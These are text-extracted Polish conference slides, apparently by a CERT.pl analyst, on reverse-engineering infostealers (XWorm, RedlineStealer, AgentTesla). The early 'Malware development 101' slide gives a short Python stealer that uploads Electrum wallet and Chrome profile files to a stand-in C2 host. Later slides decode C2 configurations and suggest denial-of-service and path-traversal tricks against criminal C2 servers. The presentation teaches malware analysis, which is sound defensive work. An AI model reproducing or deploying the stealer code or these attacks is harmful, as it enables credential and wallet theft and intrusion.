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● O malware (stealerach), ale przystępnie

● Jak analizować?
○ Na przykładach.

● Kontrolowane rozmowy
○ Na przykładach

Dygresja
Szymon Sidoruk: 7 minut overtime
Tomasz Bukowski: 8 minut overtime
Adam Heartle: 10 minut overtime
Michał Leszczyński: dużo (musiałem wyjść)
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Jak działają stealery

Malware development 101



Jak działają stealery

import os
import requests
appdata = os.getenv('APPDATA')
steal_paths = [
    f"{appdata}\\Roaming\\Electrum\\wallets",
    f"{appdata}\\Google\\Chrome\\User Data",
]
for steal_path in steal_paths:
    for dirn, _sub, files in os.walk(steal_path):
        for f in files:
            steal = {f: open(os.path.join(dirn, f))}
            requests.post("mojec2.pl", files=steal)
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część 2

case study: xworm



Deworming the XWorm

https://cert.pl/en/posts/2023/10/deworming-the-xworm/

(nie trzeba czytać żeby zrozumieć prezentację 🙃)

https://cert.pl/en/posts/2023/10/deworming-the-xworm/
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Krok pierwszy: próbka

https://bazaar.abuse.ch/sample/a7da92a8f1dde21271b0
e4ca6dab609c97cde7d659582eef25e373fc9dd44610/

https://s.tailcall.net/xworm

https://s.tailcall.net/xworm


Krok drugi: narzędzia



Krok drugi: narzędzia



Krok drugi: narzędzia (wireshark)



Krok drugi: narzędzia (wireshark)



Krok drugi: narzędzia

https://github.com/dnSpy/dnSpy/

https://github.com/dnSpy/dnSpy/


Krok drugi: narzędzia

https://github.com/dnSpy/dnSpy/

https://github.com/dnSpy/dnSpy/


Krok drugi: narzędzia

https://github.com/dnSpy/dnSpy/

https://github.com/dnSpy/dnSpy/


Krok drugi: narzędzia

https://github.com/dnSpy/dnSpy/

https://github.com/dnSpy/dnSpy/


Krok drugi: narzędzia

https://github.com/dnSpy/dnSpy/

https://github.com/dnSpyEx/dnSpy

https://github.com/dnSpy/dnSpy/
https://github.com/dnSpyEx/dnSpy


Krok drugi: narzędzia

https://github.com/dnSpy/dnSpy/

https://github.com/dnSpyEx/dnSpy

https://github.com/dnSpy/dnSpy/
https://github.com/dnSpyEx/dnSpy


Krok trzeci (najprostszy): analiza



Krok trzeci (najprostszy): analizaDygresja
Ciemnoniebieski tekst na czarnym tle…

Mam nadzieję że będzie coś widać
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Krok trzeci (najprostszy): analizaDygresja

Pisanie do abuse vs pisanie do /dev/null.

duckdns.org ply.gg ngrok.io etc
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Krok czwarty: reimplementacja

def decode(b: bytes, key: bytes, split: bytes) -> list:
    out = []
    while b:
        datalen = int(b[:b.find(b'\x00')])
        header = b[b.find(b"\x00") + 1:]
        encdata, b = header[:datalen], header[datalen:]
        mkey = hashlib.md5(key).digest()
        rawout = unpad(aes.ecb.decrypt(mkey, encdata))
        out.append(rawout.decode().split(split))
    return out
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Krok czwarty: reimplementacja

def decode(b: bytes, key: bytes, split: bytes) -> list:
    out = []
    while b:
        datalen = int(b[:b.find(b'\x00')])
        header = b[b.find(b"\x00") + 1:]
        encdata, b = header[:datalen], header[datalen:]
        mkey = hashlib.md5(key).digest()
        rawout = unpad(aes.ecb.decrypt(mkey, encdata))
        out.append(rawout.decode().split(split))
    return out

z konfiguracji



Krok piąty: komunikacja

Potrzebna nam żywa próbka
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Jak samemu zacząć tworzyć taką bazę?
(o tym już trochę w artykule)



Krok piąty: komunikacjaDygresja

Jak samemu zacząć tworzyć taką bazę?
(o tym już trochę w artykule)

see also
https://github.com/CERT-Polska/karton-playground/
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Krok piąty: komunikacja

$ python3 recv.py
send >> ['INFO', 'CF135045C83D7C58B239', 'janusz', ' 
Windows 7 Professional SP 1 64bit', 'XWorm V3.0', 
'26-11-2020', 'False', 'True', 'False', 'None']
recv << ['PING!']
send >> ['PING!', '', '157']
recv << ['PING!']
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uninstall

sock.send(encode([

    "sendPlugin", 

"8BE2FB14B479CCDD9BC15BEAF091A52DF492882CB14B74F194A69E01EEF8E94C"

], key))



Krok piąty: komunikacja

plugin [hash]

plugin [hash]

uninstall

sock.send(encode([

    "sendPlugin",  

"8BE2FB14B479CCDD9BC15BEAF091A52DF492882CB14B74F194A69E01EEF8E94C"

], key))

Dygresja



Krok piąty: komunikacja



Krok szósty: "eskalacja"

● Wszystko jest w C#, szanse na zhakowanie serwera są niskie…

● Sam protokół nie przewiduje zbyt wielu komend
○ Ale mamy jeszcze pluginy!
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● Wszystko jest w C#, szanse na zhakowanie serwera są niskie…

● Sam protokół nie przewiduje zbyt wielu komend
○ Ale mamy jeszcze pluginy!

● A wild FileManagerPlugin appears
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Krok szósty: "eskalacja"

["downloadedfile", client_id, gzipped_data, filename]

Co może pójść nie tak…

● DOS na serwer (przez wysłanie dużego pliku)

● DOS na serwer (przez wysłanie gzip bomby)

● Path traversal przy uploadzie… (“..\” w client_id)
○ RCE nie będzie, ale wrzucanie plików

na pulpit już kto wie



Krok szósty: "eskalacja"

kot.png
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kot.png

Dygresja

W ogólności to "don’t do this at home"



Krok szósty: "eskalacja"
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case study: redlinestealer



RedlineStealer

● W miarę typowy stealer - kradnie z dysku co znajdzie.
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RedlineStealer

● W miarę typowy stealer - kradnie z dysku co znajdzie.

● Metoda dystrybucji: różne, jeszcze niedawno z RigEK (2022)

● Napisany w .NET



Krok pierwszy: próbka
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Krok trzeci: analiza
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Krok trzeci: analiza

from malduck import base64, xor
base64(xor(
    b"Prodnosing",
    base64("HSYIVSIFOhEgNGQKIjAjGj4DO1EdJi4cITsmVA==")
))

b"185.215.113.25:10195"
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● Metoda komunikacji: ...



Krok trzeci: analiza

● Metoda komunikacji: .NET SOAP API
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Krok czwarty: reimplementacja
>> Hello
<< [ScanTelegram, ScanFiles, ScanFTP]

>> ScanTelegramResults
<< OK

>> ScanFilesResult
<< OK

>> ScanFTPResult
<< OK



Krok czwarty: reimplementacja

public class Settings

{

    public bool ScanBrowsers { get; set; }

    public bool ScanFiles { get; set; }

    public bool ScanFTPs { get; set; }

    public bool ScanBrowserExtensions { get; set; }

    public bool GetScreenshot { get; set; }

    public bool ScanTelegram { get; set; }

    public bool ScanVPNs { get; set; }

    public bool ScanGames { get; set; }

    public bool ScanDiscord { get; set; }

    public List<string> Patterns { get; set; }

    public List<string> Profiles { get; set; }

    public List<string> Paths { get; set; }

    public List<EConfig> Config { get; set; }

}



Krok piąty: komunikacja



Krok szósty: eskalacja?
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case study: AgentTesla



AgentTesla

Bardzo popularne “narzędzie administracyjne”



Krok pierwszy: próbka

https://bazaar.abuse.ch/sample/9b58155670290b5c9a7
0c783c2430a1614cd855858e2b582ccd20b3ea6aeaa56/

http://s.tailcall.net/agenttesla

http://s.tailcall.net/agenttesla
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Hmm



Hmm
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Krok piąty: komunikacja



Krok szósty: eskalacja
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zakończenie?
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Jakieś wnioski? 🤔
● Nie takie RE straszne jak je malują

● Stealery naprawdę nie są za ciekawe
○ Chyba że ktoś lubi .NET
○ Ale za to są popularne i mają dane

● Przestępcy zazwyczaj nie są za dobrymi programistami

● Sth sth współpraca?



Q&A?

Icons from flaticon.com by freepik, Pixel Perfect - thanks!

msm@tailcall.net
msm@cert.pl

@MsmCode
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Icons from flaticon.com by freepik, Pixel Perfect - thanks!

msm@tailcall.net
msm@cert.pl

@MsmCode

kazała jeszcze przekazać, że można oceniać w eventory czy coś

mailto:msm@tailcall.net

